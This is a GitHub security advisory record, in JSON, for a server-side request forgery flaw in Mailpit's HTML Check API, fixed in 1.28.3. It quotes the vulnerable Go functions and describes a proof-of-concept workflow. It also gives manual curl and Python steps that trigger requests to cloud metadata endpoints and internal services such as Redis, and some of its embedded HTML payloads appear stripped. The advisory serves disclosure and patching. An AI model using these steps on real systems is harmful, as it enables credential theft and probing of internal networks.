{"schema_version":"1.7.3","id":"GHSA-6jxm-fv7w-rw5j","published":"2026-01-21T01:01:26Z","modified":"2026-02-03T22:41:05.361573Z","aliases":["CVE-2026-23845","GO-2026-4345"],"summary":"Mailpit has a Server-Side Request Forgery (SSRF) via HTML Check API","details":"### Server-Side Request Forgery (SSRF) via HTML Check CSS Download\n\nThe HTML Check feature (`/api/v1/message/{ID}/html-check`) is designed to analyze HTML emails for compatibility. During this process, the `inlineRemoteCSS()` function automatically downloads CSS files from external `` tags to inline them for testing. \n\n\n#### Affected Components\n\n- **Primary File:** `internal/htmlcheck/css.go` (lines 132-207)\n- **API Endpoint:** `/api/v1/message/{ID}/html-check`\n- **Handler:** `server/apiv1/other.go` (lines 38-75)\n- **Vulnerable Functions:**\n - `inlineRemoteCSS()` - line 132\n - `downloadToBytes()` - line 193\n - `isURL()` - line 221\n\n#### Technical Details\n\n**1. Insufficient URL Validation (`isURL()` function):**\n\n```go\n// internal/htmlcheck/css.go:221-224\nfunc isURL(str string) bool {\n u, err := url.Parse(str)\n return err == nil && (u.Scheme == \"http\" || u.Scheme == \"https\") && u.Host != \"\"\n}\n```\n\n\n**2. Unrestricted Download (`downloadToBytes()` function):**\n\n```go\n// internal/htmlcheck/css.go:193-207\nfunc downloadToBytes(url string) ([]byte, error) {\n client := http.Client{\n Timeout: 5 * time.Second,\n }\n\n // Get the link response data\n resp, err := client.Get(url) // ⚠️ VULNERABLE - No IP validation\n if err != nil {\n return nil, err\n }\n defer func() { _ = resp.Body.Close() }()\n\n if resp.StatusCode != 200 {\n err := fmt.Errorf(\"error downloading %s\", url)\n return nil, err\n }\n\n body, err := io.ReadAll(resp.Body) // ⚠️ Downloads ENTIRE response\n if err != nil {\n return nil, err\n }\n\n return body, nil\n}\n```\n\n**3. Automatic CSS Processing:**\n\n```go\n// internal/htmlcheck/css.go:132-187\nfunc inlineRemoteCSS(h string) (string, error) {\n reader := strings.NewReader(h)\n doc, err := goquery.NewDocumentFromReader(reader)\n if err != nil {\n return h, err\n }\n\n remoteCSS := doc.Find(\"link[rel=\\\"stylesheet\\\"]\").Nodes\n for _, link := range remoteCSS {\n attributes := link.Attr\n for _, a := range attributes {\n if a.Key == \"href\" {\n if !isURL(a.Val) { // ⚠️ Insufficient validation\n continue\n }\n\n if config.BlockRemoteCSSAndFonts {\n logger.Log().Debugf(\"[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)\", a.Val)\n return h, nil\n }\n\n resp, err := downloadToBytes(a.Val) // ⚠️ Downloads from ANY URL\n if err != nil {\n logger.Log().Warnf(\"[html-check] failed to download %s\", a.Val)\n continue\n }\n\n // Inlines the downloaded CSS\n styleBlock := &html.Node{\n Type: html.ElementNode,\n Data: \"style\",\n DataAtom: atom.Style,\n }\n styleBlock.AppendChild(&html.Node{\n Type: html.TextNode,\n Data: string(resp), // Downloaded content inserted\n })\n link.Parent.AppendChild(styleBlock)\n }\n }\n }\n \n return doc.Html()\n}\n```\n\n\n#### Attack Vectors\n\n**Attack Vector 1: Cloud Metadata Credential Theft**\n\nAttacker sends HTML email with:\n```html\n\n\n\n \n\nLegitimate email content\n\n```\n\nWhen HTML check is triggered:\n1. Mailpit makes GET request to AWS metadata endpoint\n2. Downloads IAM credentials as \"CSS content\"\n3. Credentials logged or potentially leaked via error messages\n\n\n\n#### Proof of Concept\n\nA complete working exploit is provided in `ssrf_htmlcheck_poc.py`.\n\n**PoC Usage:**\n\n```bash\n# Ensure Mailpit is running\n# SMTP: localhost:1025\n# HTTP API: localhost:8025\n\n# Run the exploit\npython3 ssrf_htmlcheck_poc.py\n```\n\n**PoC Workflow:**\n\n1. **Starts SSRF listener** on port 8888 to detect callbacks\n2. **Sends malicious HTML emails** containing:\n ```html\n \n \n \n ```\n3. **Triggers HTML check** via API: `GET /api/v1/message/{ID}/html-check`\n4. **Monitors callbacks** and analyzes responses\n5. **Demonstrates exploitation** of:\n - Local listener (proves SSRF)\n - Cloud metadata endpoints\n - Internal services (Redis, etc.)\n - Private network ranges\n\n**Expected Output:**\n\n```\n╔══════════════════════════════════════════════════════════════════════════════╗\n║ Mailpit SSRF PoC - HTML Check CSS Download Vulnerability ║\n║ Severity: MODERATE ║\n║ File: internal/htmlcheck/css.go:193-207 ║\n╚══════════════════════════════════════════════════════════════════════════════╝\n\n[+] SSRF listener started on port 8888\n[*] Testing SSRF with callback to local listener...\n\n================================================================================\n[*] Testing SSRF with target: http://localhost:8888/malicious.css\n================================================================================\n[+] Email sent with CSS link to: http://localhost:8888/malicious.css\n[+] Message ID: abc123xyz\n[*] Triggering HTML check: http://localhost:8025/api/v1/message/abc123xyz/html-check\n[+] HTML check completed (Status: 200)\n\n[SSRF-LISTENER] 127.0.0.1 - \"GET /malicious.css HTTP/1.1\" 200 -\n\n[+] SUCCESS! SSRF confirmed - Received 1 callback(s):\n Path: /malicious.css\n User-Agent: Mailpit/dev\n\n================================================================================\n[*] Testing SSRF against internal/private targets...\n================================================================================\n\n⚠️ Note: These may timeout or fail, but Mailpit WILL attempt the connection\n\n[+] Email sent with CSS link to: http://127.0.0.1:6379/\n[+] Message ID: def456uvw\n[*] Triggering HTML check: http://localhost:8025/api/v1/message/def456uvw/html-check\n[!] Request timed out - target may be blocking or slow\n```\n\n**Manual Testing:**\n\n```bash\n# 1. Send malicious email\ncat << 'EOF' | python3 - <\n\n\n \n\nTest\n\n'''\n\nmsg = MIMEText(html, 'html')\nmsg['Subject'] = 'SSRF Test'\nmsg['From'] = 'test@test.com'\nmsg['To'] = 'victim@test.com'\n\nwith smtplib.SMTP('localhost', 1025) as smtp:\n smtp.send_message(msg)\nSENDMAIL\nEOF\n\n# 2. Get message ID\nMESSAGE_ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID')\n\n# 3. Trigger SSRF\ncurl -v \"http://localhost:8025/api/v1/message/$MESSAGE_ID/html-check\"","affected":[{"package":{"name":"github.com/axllent/mailpit","ecosystem":"Go","purl":"pkg:golang/github.com/axllent/mailpit"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.28.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-6jxm-fv7w-rw5j/GHSA-6jxm-fv7w-rw5j.json"}}],"references":[{"type":"WEB","url":"https://github.com/axllent/mailpit/security/advisories/GHSA-6jxm-fv7w-rw5j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23845"},{"type":"WEB","url":"https://github.com/axllent/mailpit/commit/1679a0aba592ebc8487a996d37fea8318c984dfe"},{"type":"PACKAGE","url":"https://github.com/axllent/mailpit"},{"type":"WEB","url":"https://github.com/axllent/mailpit/releases/tag/v1.28.3"}],"database_specific":{"cwe_ids":["CWE-918"],"github_reviewed":true,"github_reviewed_at":"2026-01-21T01:01:26Z","nvd_published_at":"2026-01-19T19:16:04Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"}]}